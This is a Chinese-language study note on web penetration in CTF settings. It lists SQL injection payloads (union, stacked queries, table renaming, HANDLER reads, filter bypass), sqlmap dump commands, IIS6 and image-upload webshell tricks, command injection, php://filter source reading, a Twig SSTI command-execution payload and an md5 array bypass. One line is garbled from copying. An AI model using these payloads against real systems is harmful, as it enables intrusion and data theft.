web渗透部分笔记(一)

php 备份名 .bak

mysql -u root -p shell 连接数据库

1 sql 注入

1、判断注入漏洞:
(1)and 1=1 / and 1=2 若回显页面不同则说明是整形注入,否则不是
(2)-1/+1 回显下一个或上一个页面说明是整形注入,否则不是
(3)单引号判断 ‘ 显示数据库错误信息或者页面回显不同,说明是字符型注入

2、判断字段数

构造语句:id=1’ order by 1,2,3,4…# 或者1’ order by 1,2,3,4…# 构造闭合语句查询 x从1,2,3,4…逐个尝试,直到试到n时没有回显或回显错误,则字段数为n-1。

3、判断回显位

原因:个人理解是假设网页只显示某个窗口,我们查询数据库的信息就由此窗口显示。所以我们想要查询出某些信息,就要把对应的属性放到这个位置上,这样就能通过这个窗口显示出我们需要的信息。
要判断回显位我们可以通过构造union联合查询语句1’ union select 1,2,3,4#(假设上一步判断出字段数为4)然后观察网页的显示

4、假设上一步已经得到回显位为4,接下来我们可以查询数据库1’ union select 1,2,3,database()#

查询显示得到名为skctf,进行下一步

5、查询表名:id=0’ union select 1,2,3,table_name from information_schema.tables where table_schema=‘skctf’#

1’union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘geekuser’#

group_concat //连接字段

union select被过滤掉了

绕过过滤有挺多方法的 这里:SQL注入绕过关键词

我使用注释符绕过:union/**/select

查询显示得到fl4g,进行下一步
(MySQL版本大于5.0时,有个默认数据库information_schema,里面存放着所有数据库的信息(比如表名、 列名、对应权限等),我们可以通过这个数据库进行相关查询)
6 然后使用“堆叠注入”(就是通过 ; 号注入多条SQL语句),可以通过show databases查看数据库
0’; show databases; # // 或者 1’;show databases-- q
0’; show tables;#
1’; show columns from table;#
查看表 1919810931114514 的内容。(表名为数字时,要用反引号包起来查询。)
0’; show columns from 1919810931114514; #

反写表名
1’; rename table words to word1; rename table 1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#

HANDLER … OPEN语句打开一个表
HANDLER … READ语句访问
HANDLER … CLOSE关闭一个表

1’;handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》

sqlmap 使用

1现在是判断网站数据库类型,命令格式 :sqlmap -u 目标网址

2命令格式:sqlmap -u 目标网址 --dbs 回车,就可以查看到目标存在的数据库

3查看指定数据库中存在的表 sqlmap -u 目标网址 --tables -D 数据库名

4 查看表中的字段 命令格式:sqlmap -u 目标网址 --columns -T 表名 -D 数据库名

5查看表里存储的内容 命令格式:sqlmap -u 目标网址 --dump -C 字段名称 -T 表名 -D 数据库名
》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》

iis6本身的漏洞,利用建立*.asp文件夹,其中的文件都会解析成asp文件 可进行 webshell
》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》

图片强改php 添加木马 webshell 可用

》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》》

Exec 命令行漏洞 ;号拼接命令

》》》》》》》》》》》》》》》》》》》

php Include 漏洞

php://input
php://filter/read=convert.base64-encode/resource=文件名.php

查看php 源码

view-source

SSTI注入

{{_self.env.registerUndefinedFilterCallback(“exec”)}}{{_self.env.getFilter(“cat /flag”)}}

Php过滤 md5( i d ) = = = m d 5 ( id) === md5( id)===md5(gg) && $id !== $gg

?id[]=1&gg[]=2

根据Base64和Base32 区别:

base64中包含大写字母(A-Z),小写字母(a-z),数字0—9以及+/;
base32中只包含大写字母(A-Z)和数字234567


本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!

相关文章

立即
投稿

微信公众账号

微信扫一扫加关注

返回
顶部